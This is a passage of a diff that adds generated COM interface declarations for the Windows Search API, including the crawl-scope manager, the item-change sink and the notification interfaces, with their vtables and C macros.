+        CONST_VTBL struct ISearchCrawlScopeManagerVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchCrawlScopeManager_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchCrawlScopeManager_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchCrawlScopeManager_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchCrawlScopeManager_AddDefaultScopeRule(This,pszURL,fInclude,fFollowFlags)	\
+    ( (This)->lpVtbl -> AddDefaultScopeRule(This,pszURL,fInclude,fFollowFlags) ) 
+
+#define ISearchCrawlScopeManager_AddRoot(This,pSearchRoot)	\
+    ( (This)->lpVtbl -> AddRoot(This,pSearchRoot) ) 
+
+#define ISearchCrawlScopeManager_RemoveRoot(This,pszURL)	\
+    ( (This)->lpVtbl -> RemoveRoot(This,pszURL) ) 
+
+#define ISearchCrawlScopeManager_EnumerateRoots(This,ppSearchRoots)	\
+    ( (This)->lpVtbl -> EnumerateRoots(This,ppSearchRoots) ) 
+
+#define ISearchCrawlScopeManager_AddHierarchicalScope(This,pszURL,fInclude,fDefault,fOverrideChildren)	\
+    ( (This)->lpVtbl -> AddHierarchicalScope(This,pszURL,fInclude,fDefault,fOverrideChildren) ) 
+
+#define ISearchCrawlScopeManager_AddUserScopeRule(This,pszURL,fInclude,fOverrideChildren,fFollowFlags)	\
+    ( (This)->lpVtbl -> AddUserScopeRule(This,pszURL,fInclude,fOverrideChildren,fFollowFlags) ) 
+
+#define ISearchCrawlScopeManager_RemoveScopeRule(This,pszRule)	\
+    ( (This)->lpVtbl -> RemoveScopeRule(This,pszRule) ) 
+
+#define ISearchCrawlScopeManager_EnumerateScopeRules(This,ppSearchScopeRules)	\
+    ( (This)->lpVtbl -> EnumerateScopeRules(This,ppSearchScopeRules) ) 
+
+#define ISearchCrawlScopeManager_HasParentScopeRule(This,pszURL,pfHasParentRule)	\
+    ( (This)->lpVtbl -> HasParentScopeRule(This,pszURL,pfHasParentRule) ) 
+
+#define ISearchCrawlScopeManager_HasChildScopeRule(This,pszURL,pfHasChildRule)	\
+    ( (This)->lpVtbl -> HasChildScopeRule(This,pszURL,pfHasChildRule) ) 
+
+#define ISearchCrawlScopeManager_IncludedInCrawlScope(This,pszURL,pfIsIncluded)	\
+    ( (This)->lpVtbl -> IncludedInCrawlScope(This,pszURL,pfIsIncluded) ) 
+
+#define ISearchCrawlScopeManager_IncludedInCrawlScopeEx(This,pszURL,pfIsIncluded,pReason)	\
+    ( (This)->lpVtbl -> IncludedInCrawlScopeEx(This,pszURL,pfIsIncluded,pReason) ) 
+
+#define ISearchCrawlScopeManager_RevertToDefaultScopes(This)	\
+    ( (This)->lpVtbl -> RevertToDefaultScopes(This) ) 
+
+#define ISearchCrawlScopeManager_SaveAll(This)	\
+    ( (This)->lpVtbl -> SaveAll(This) ) 
+
+#define ISearchCrawlScopeManager_GetParentScopeVersionId(This,pszURL,plScopeId)	\
+    ( (This)->lpVtbl -> GetParentScopeVersionId(This,pszURL,plScopeId) ) 
+
+#define ISearchCrawlScopeManager_RemoveDefaultScopeRule(This,pszURL)	\
+    ( (This)->lpVtbl -> RemoveDefaultScopeRule(This,pszURL) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchCrawlScopeManager_INTERFACE_DEFINED__ */
+
+
+#ifndef __ISearchCrawlScopeManager2_INTERFACE_DEFINED__
+#define __ISearchCrawlScopeManager2_INTERFACE_DEFINED__
+
+/* interface ISearchCrawlScopeManager2 */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_ISearchCrawlScopeManager2;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("6292F7AD-4E19-4717-A534-8FC22BCD5CCD")
+    ISearchCrawlScopeManager2 : public ISearchCrawlScopeManager
+    {
+    public:
+        virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetVersion( 
+            /* [out] */ long **plVersion,
+            /* [out] */ HANDLE *phFileMapping) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchCrawlScopeManager2Vtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISearchCrawlScopeManager2 * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISearchCrawlScopeManager2 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *AddDefaultScopeRule )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [in] */ BOOL fInclude,
+            /* [in] */ DWORD fFollowFlags);
+        
+        HRESULT ( STDMETHODCALLTYPE *AddRoot )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [in] */ __RPC__in_opt ISearchRoot *pSearchRoot);
+        
+        HRESULT ( STDMETHODCALLTYPE *RemoveRoot )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [in] */ __RPC__in LPCWSTR pszURL);
+        
+        HRESULT ( STDMETHODCALLTYPE *EnumerateRoots )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [retval][out] */ __RPC__deref_out_opt IEnumSearchRoots **ppSearchRoots);
+        
+        HRESULT ( STDMETHODCALLTYPE *AddHierarchicalScope )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [in] */ BOOL fInclude,
+            /* [in] */ BOOL fDefault,
+            /* [in] */ BOOL fOverrideChildren);
+        
+        HRESULT ( STDMETHODCALLTYPE *AddUserScopeRule )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [in] */ BOOL fInclude,
+            /* [in] */ BOOL fOverrideChildren,
+            /* [in] */ DWORD fFollowFlags);
+        
+        HRESULT ( STDMETHODCALLTYPE *RemoveScopeRule )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszRule);
+        
+        HRESULT ( STDMETHODCALLTYPE *EnumerateScopeRules )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [retval][out] */ __RPC__deref_out_opt IEnumSearchScopeRules **ppSearchScopeRules);
+        
+        HRESULT ( STDMETHODCALLTYPE *HasParentScopeRule )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out BOOL *pfHasParentRule);
+        
+        HRESULT ( STDMETHODCALLTYPE *HasChildScopeRule )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out BOOL *pfHasChildRule);
+        
+        HRESULT ( STDMETHODCALLTYPE *IncludedInCrawlScope )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out BOOL *pfIsIncluded);
+        
+        HRESULT ( STDMETHODCALLTYPE *IncludedInCrawlScopeEx )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [out] */ __RPC__out BOOL *pfIsIncluded,
+            /* [out] */ __RPC__out CLUSION_REASON *pReason);
+        
+        HRESULT ( STDMETHODCALLTYPE *RevertToDefaultScopes )( 
+            __RPC__in ISearchCrawlScopeManager2 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *SaveAll )( 
+            __RPC__in ISearchCrawlScopeManager2 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetParentScopeVersionId )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out LONG *plScopeId);
+        
+        HRESULT ( STDMETHODCALLTYPE *RemoveDefaultScopeRule )( 
+            __RPC__in ISearchCrawlScopeManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL);
+        
+        /* [local] */ HRESULT ( STDMETHODCALLTYPE *GetVersion )( 
+            ISearchCrawlScopeManager2 * This,
+            /* [out] */ long **plVersion,
+            /* [out] */ HANDLE *phFileMapping);
+        
+        END_INTERFACE
+    } ISearchCrawlScopeManager2Vtbl;
+
+    interface ISearchCrawlScopeManager2
+    {
+        CONST_VTBL struct ISearchCrawlScopeManager2Vtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchCrawlScopeManager2_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchCrawlScopeManager2_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchCrawlScopeManager2_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchCrawlScopeManager2_AddDefaultScopeRule(This,pszURL,fInclude,fFollowFlags)	\
+    ( (This)->lpVtbl -> AddDefaultScopeRule(This,pszURL,fInclude,fFollowFlags) ) 
+
+#define ISearchCrawlScopeManager2_AddRoot(This,pSearchRoot)	\
+    ( (This)->lpVtbl -> AddRoot(This,pSearchRoot) ) 
+
+#define ISearchCrawlScopeManager2_RemoveRoot(This,pszURL)	\
+    ( (This)->lpVtbl -> RemoveRoot(This,pszURL) ) 
+
+#define ISearchCrawlScopeManager2_EnumerateRoots(This,ppSearchRoots)	\
+    ( (This)->lpVtbl -> EnumerateRoots(This,ppSearchRoots) ) 
+
+#define ISearchCrawlScopeManager2_AddHierarchicalScope(This,pszURL,fInclude,fDefault,fOverrideChildren)	\
+    ( (This)->lpVtbl -> AddHierarchicalScope(This,pszURL,fInclude,fDefault,fOverrideChildren) ) 
+
+#define ISearchCrawlScopeManager2_AddUserScopeRule(This,pszURL,fInclude,fOverrideChildren,fFollowFlags)	\
+    ( (This)->lpVtbl -> AddUserScopeRule(This,pszURL,fInclude,fOverrideChildren,fFollowFlags) ) 
+
+#define ISearchCrawlScopeManager2_RemoveScopeRule(This,pszRule)	\
+    ( (This)->lpVtbl -> RemoveScopeRule(This,pszRule) ) 
+
+#define ISearchCrawlScopeManager2_EnumerateScopeRules(This,ppSearchScopeRules)	\
+    ( (This)->lpVtbl -> EnumerateScopeRules(This,ppSearchScopeRules) ) 
+
+#define ISearchCrawlScopeManager2_HasParentScopeRule(This,pszURL,pfHasParentRule)	\
+    ( (This)->lpVtbl -> HasParentScopeRule(This,pszURL,pfHasParentRule) ) 
+
+#define ISearchCrawlScopeManager2_HasChildScopeRule(This,pszURL,pfHasChildRule)	\
+    ( (This)->lpVtbl -> HasChildScopeRule(This,pszURL,pfHasChildRule) ) 
+
+#define ISearchCrawlScopeManager2_IncludedInCrawlScope(This,pszURL,pfIsIncluded)	\
+    ( (This)->lpVtbl -> IncludedInCrawlScope(This,pszURL,pfIsIncluded) ) 
+
+#define ISearchCrawlScopeManager2_IncludedInCrawlScopeEx(This,pszURL,pfIsIncluded,pReason)	\
+    ( (This)->lpVtbl -> IncludedInCrawlScopeEx(This,pszURL,pfIsIncluded,pReason) ) 
+
+#define ISearchCrawlScopeManager2_RevertToDefaultScopes(This)	\
+    ( (This)->lpVtbl -> RevertToDefaultScopes(This) ) 
+
+#define ISearchCrawlScopeManager2_SaveAll(This)	\
+    ( (This)->lpVtbl -> SaveAll(This) ) 
+
+#define ISearchCrawlScopeManager2_GetParentScopeVersionId(This,pszURL,plScopeId)	\
+    ( (This)->lpVtbl -> GetParentScopeVersionId(This,pszURL,plScopeId) ) 
+
+#define ISearchCrawlScopeManager2_RemoveDefaultScopeRule(This,pszURL)	\
+    ( (This)->lpVtbl -> RemoveDefaultScopeRule(This,pszURL) ) 
+
+
+#define ISearchCrawlScopeManager2_GetVersion(This,plVersion,phFileMapping)	\
+    ( (This)->lpVtbl -> GetVersion(This,plVersion,phFileMapping) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+/* [call_as] */ HRESULT STDMETHODCALLTYPE ISearchCrawlScopeManager2_RemoteGetVersion_Proxy( 
+    __RPC__in ISearchCrawlScopeManager2 * This,
+    /* [out] */ __RPC__out long *plVersion);
+
+
+void __RPC_STUB ISearchCrawlScopeManager2_RemoteGetVersion_Stub(
+    IRpcStubBuffer *This,
+    IRpcChannelBuffer *_pRpcChannelBuffer,
+    PRPC_MESSAGE _pRpcMessage,
+    DWORD *_pdwStubPhase);
+
+
+
+#endif 	/* __ISearchCrawlScopeManager2_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0015 */
+/* [local] */ 
+
+#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
+#pragma endregion
+#include <winapifamily.h>
+#pragma region Desktop Family
+#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
+typedef /* [v1_enum] */ 
+enum _SEARCH_KIND_OF_CHANGE
+    {
+        SEARCH_CHANGE_ADD	= 0,
+        SEARCH_CHANGE_DELETE	= 1,
+        SEARCH_CHANGE_MODIFY	= 2,
+        SEARCH_CHANGE_MOVE_RENAME	= 3,
+        SEARCH_CHANGE_SEMANTICS_DIRECTORY	= 0x40000,
+        SEARCH_CHANGE_SEMANTICS_SHALLOW	= 0x80000,
+        SEARCH_CHANGE_SEMANTICS_UPDATE_SECURITY	= 0x400000
+    } 	SEARCH_KIND_OF_CHANGE;
+
+typedef 
+enum _SEARCH_NOTIFICATION_PRIORITY
+    {
+        SEARCH_NORMAL_PRIORITY	= 0,
+        SEARCH_HIGH_PRIORITY	= 1
+    } 	SEARCH_NOTIFICATION_PRIORITY;
+
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0015_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0015_v0_0_s_ifspec;
+
+#ifndef __ISearchItemsChangedSink_INTERFACE_DEFINED__
+#define __ISearchItemsChangedSink_INTERFACE_DEFINED__
+
+/* interface ISearchItemsChangedSink */
+/* [unique][uuid][object] */ 
+
+typedef struct _SEARCH_ITEM_CHANGE
+    {
+    SEARCH_KIND_OF_CHANGE Change;
+    SEARCH_NOTIFICATION_PRIORITY Priority;
+    BLOB *pUserData;
+    LPWSTR lpwszURL;
+    /* [unique] */ LPWSTR lpwszOldURL;
+    } 	SEARCH_ITEM_CHANGE;
+
+
+EXTERN_C const IID IID_ISearchItemsChangedSink;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("AB310581-AC80-11D1-8DF3-00C04FB6EF58")
+    ISearchItemsChangedSink : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE StartedMonitoringScope( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE StoppedMonitoringScope( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE OnItemsChanged( 
+            /* [in] */ DWORD dwNumberOfChanges,
+            /* [size_is][in] */ __RPC__in_ecount_full(dwNumberOfChanges) SEARCH_ITEM_CHANGE rgDataChangeEntries[  ],
+            /* [size_is][out] */ __RPC__out_ecount_full(dwNumberOfChanges) DWORD rgdwDocIds[  ],
+            /* [size_is][out] */ __RPC__out_ecount_full(dwNumberOfChanges) HRESULT rghrCompletionCodes[  ]) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchItemsChangedSinkVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISearchItemsChangedSink * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISearchItemsChangedSink * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISearchItemsChangedSink * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *StartedMonitoringScope )( 
+            __RPC__in ISearchItemsChangedSink * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL);
+        
+        HRESULT ( STDMETHODCALLTYPE *StoppedMonitoringScope )( 
+            __RPC__in ISearchItemsChangedSink * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL);
+        
+        HRESULT ( STDMETHODCALLTYPE *OnItemsChanged )( 
+            __RPC__in ISearchItemsChangedSink * This,
+            /* [in] */ DWORD dwNumberOfChanges,
+            /* [size_is][in] */ __RPC__in_ecount_full(dwNumberOfChanges) SEARCH_ITEM_CHANGE rgDataChangeEntries[  ],
+            /* [size_is][out] */ __RPC__out_ecount_full(dwNumberOfChanges) DWORD rgdwDocIds[  ],
+            /* [size_is][out] */ __RPC__out_ecount_full(dwNumberOfChanges) HRESULT rghrCompletionCodes[  ]);
+        
+        END_INTERFACE
+    } ISearchItemsChangedSinkVtbl;
+
+    interface ISearchItemsChangedSink
+    {
+        CONST_VTBL struct ISearchItemsChangedSinkVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchItemsChangedSink_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchItemsChangedSink_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchItemsChangedSink_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchItemsChangedSink_StartedMonitoringScope(This,pszURL)	\
+    ( (This)->lpVtbl -> StartedMonitoringScope(This,pszURL) ) 
+
+#define ISearchItemsChangedSink_StoppedMonitoringScope(This,pszURL)	\
+    ( (This)->lpVtbl -> StoppedMonitoringScope(This,pszURL) ) 
+
+#define ISearchItemsChangedSink_OnItemsChanged(This,dwNumberOfChanges,rgDataChangeEntries,rgdwDocIds,rghrCompletionCodes)	\
+    ( (This)->lpVtbl -> OnItemsChanged(This,dwNumberOfChanges,rgDataChangeEntries,rgdwDocIds,rghrCompletionCodes) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchItemsChangedSink_INTERFACE_DEFINED__ */
+
+
+#ifndef __ISearchPersistentItemsChangedSink_INTERFACE_DEFINED__
+#define __ISearchPersistentItemsChangedSink_INTERFACE_DEFINED__
+
+/* interface ISearchPersistentItemsChangedSink */
+/* [unique][uuid][object] */ 
+
+typedef struct _SEARCH_ITEM_PERSISTENT_CHANGE
+    {
+    SEARCH_KIND_OF_CHANGE Change;
+    LPWSTR URL;
+    /* [unique] */ LPWSTR OldURL;
+    SEARCH_NOTIFICATION_PRIORITY Priority;
+    } 	SEARCH_ITEM_PERSISTENT_CHANGE;
+
+
+EXTERN_C const IID IID_ISearchPersistentItemsChangedSink;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("A2FFDF9B-4758-4F84-B729-DF81A1A0612F")
+    ISearchPersistentItemsChangedSink : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE StartedMonitoringScope( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE StoppedMonitoringScope( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE OnItemsChanged( 
+            /* [in] */ DWORD dwNumberOfChanges,
+            /* [size_is][in] */ __RPC__in_ecount_full(dwNumberOfChanges) SEARCH_ITEM_PERSISTENT_CHANGE DataChangeEntries[  ],
+            /* [size_is][out] */ __RPC__out_ecount_full(dwNumberOfChanges) HRESULT hrCompletionCodes[  ]) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchPersistentItemsChangedSinkVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISearchPersistentItemsChangedSink * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISearchPersistentItemsChangedSink * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISearchPersistentItemsChangedSink * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *StartedMonitoringScope )( 
+            __RPC__in ISearchPersistentItemsChangedSink * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL);
+        
+        HRESULT ( STDMETHODCALLTYPE *StoppedMonitoringScope )( 
+            __RPC__in ISearchPersistentItemsChangedSink * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL);
+        
+        HRESULT ( STDMETHODCALLTYPE *OnItemsChanged )( 
+            __RPC__in ISearchPersistentItemsChangedSink * This,
+            /* [in] */ DWORD dwNumberOfChanges,
+            /* [size_is][in] */ __RPC__in_ecount_full(dwNumberOfChanges) SEARCH_ITEM_PERSISTENT_CHANGE DataChangeEntries[  ],
+            /* [size_is][out] */ __RPC__out_ecount_full(dwNumberOfChanges) HRESULT hrCompletionCodes[  ]);
+        
+        END_INTERFACE
+    } ISearchPersistentItemsChangedSinkVtbl;
+
+    interface ISearchPersistentItemsChangedSink
+    {
+        CONST_VTBL struct ISearchPersistentItemsChangedSinkVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchPersistentItemsChangedSink_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchPersistentItemsChangedSink_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchPersistentItemsChangedSink_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchPersistentItemsChangedSink_StartedMonitoringScope(This,pszURL)	\
+    ( (This)->lpVtbl -> StartedMonitoringScope(This,pszURL) ) 
+
+#define ISearchPersistentItemsChangedSink_StoppedMonitoringScope(This,pszURL)	\
+    ( (This)->lpVtbl -> StoppedMonitoringScope(This,pszURL) ) 
+
+#define ISearchPersistentItemsChangedSink_OnItemsChanged(This,dwNumberOfChanges,DataChangeEntries,hrCompletionCodes)	\
+    ( (This)->lpVtbl -> OnItemsChanged(This,dwNumberOfChanges,DataChangeEntries,hrCompletionCodes) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchPersistentItemsChangedSink_INTERFACE_DEFINED__ */
+
+
+#ifndef __ISearchViewChangedSink_INTERFACE_DEFINED__
+#define __ISearchViewChangedSink_INTERFACE_DEFINED__
+
+/* interface ISearchViewChangedSink */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_ISearchViewChangedSink;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("AB310581-AC80-11D1-8DF3-00C04FB6EF65")
+    ISearchViewChangedSink : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE OnChange( 
+            /* [in] */ __RPC__in ITEMID *pdwDocID,
+            /* [in] */ __RPC__in SEARCH_ITEM_CHANGE *pChange,
+            /* [in] */ __RPC__in BOOL *pfInView) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchViewChangedSinkVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISearchViewChangedSink * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISearchViewChangedSink * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISearchViewChangedSink * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *OnChange )( 
+            __RPC__in ISearchViewChangedSink * This,
+            /* [in] */ __RPC__in ITEMID *pdwDocID,
+            /* [in] */ __RPC__in SEARCH_ITEM_CHANGE *pChange,
+            /* [in] */ __RPC__in BOOL *pfInView);
+        
+        END_INTERFACE
+    } ISearchViewChangedSinkVtbl;
+
+    interface ISearchViewChangedSink
+    {
+        CONST_VTBL struct ISearchViewChangedSinkVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchViewChangedSink_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchViewChangedSink_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchViewChangedSink_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchViewChangedSink_OnChange(This,pdwDocID,pChange,pfInView)	\
+    ( (This)->lpVtbl -> OnChange(This,pdwDocID,pChange,pfInView) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchViewChangedSink_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0018 */
+/* [local] */ 
+
+#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
+#pragma endregion
+#include <winapifamily.h>
+#pragma region Desktop Family
+#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0018_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0018_v0_0_s_ifspec;
+
+#ifndef __ISearchNotifyInlineSite_INTERFACE_DEFINED__
+#define __ISearchNotifyInlineSite_INTERFACE_DEFINED__
+
+/* interface ISearchNotifyInlineSite */
+/* [helpstring][unique][uuid][object] */ 
+
+typedef 
+enum _SEARCH_INDEXING_PHASE
+    {
+        SEARCH_INDEXING_PHASE_GATHERER	= 0,
+        SEARCH_INDEXING_PHASE_QUERYABLE	= 1,
+        SEARCH_INDEXING_PHASE_PERSISTED	= 2
+    } 	SEARCH_INDEXING_PHASE;
+
+typedef struct _SEARCH_ITEM_INDEXING_STATUS
+    {
+    DWORD dwDocID;
+    HRESULT hrIndexingStatus;
+    } 	SEARCH_ITEM_INDEXING_STATUS;
+
+
+EXTERN_C const IID IID_ISearchNotifyInlineSite;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("B5702E61-E75C-4B64-82A1-6CB4F832FCCF")
+    ISearchNotifyInlineSite : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE OnItemIndexedStatusChange( 
+            /* [in] */ SEARCH_INDEXING_PHASE sipStatus,
+            /* [in] */ DWORD dwNumEntries,
+            /* [size_is][in] */ __RPC__in_ecount_full(dwNumEntries) SEARCH_ITEM_INDEXING_STATUS rgItemStatusEntries[  ]) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE OnCatalogStatusChange( 
+            /* [in] */ __RPC__in REFGUID guidCatalogResetSignature,
+            /* [in] */ __RPC__in REFGUID guidCheckPointSignature,
+            /* [in] */ DWORD dwLastCheckPointNumber) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchNotifyInlineSiteVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISearchNotifyInlineSite * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISearchNotifyInlineSite * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISearchNotifyInlineSite * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *OnItemIndexedStatusChange )( 
+            __RPC__in ISearchNotifyInlineSite * This,
+            /* [in] */ SEARCH_INDEXING_PHASE sipStatus,
+            /* [in] */ DWORD dwNumEntries,
+            /* [size_is][in] */ __RPC__in_ecount_full(dwNumEntries) SEARCH_ITEM_INDEXING_STATUS rgItemStatusEntries[  ]);
+        
+        HRESULT ( STDMETHODCALLTYPE *OnCatalogStatusChange )( 
+            __RPC__in ISearchNotifyInlineSite * This,
+            /* [in] */ __RPC__in REFGUID guidCatalogResetSignature,
+            /* [in] */ __RPC__in REFGUID guidCheckPointSignature,
+            /* [in] */ DWORD dwLastCheckPointNumber);
+        
+        END_INTERFACE
+    } ISearchNotifyInlineSiteVtbl;
+
+    interface ISearchNotifyInlineSite
+    {
+        CONST_VTBL struct ISearchNotifyInlineSiteVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchNotifyInlineSite_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
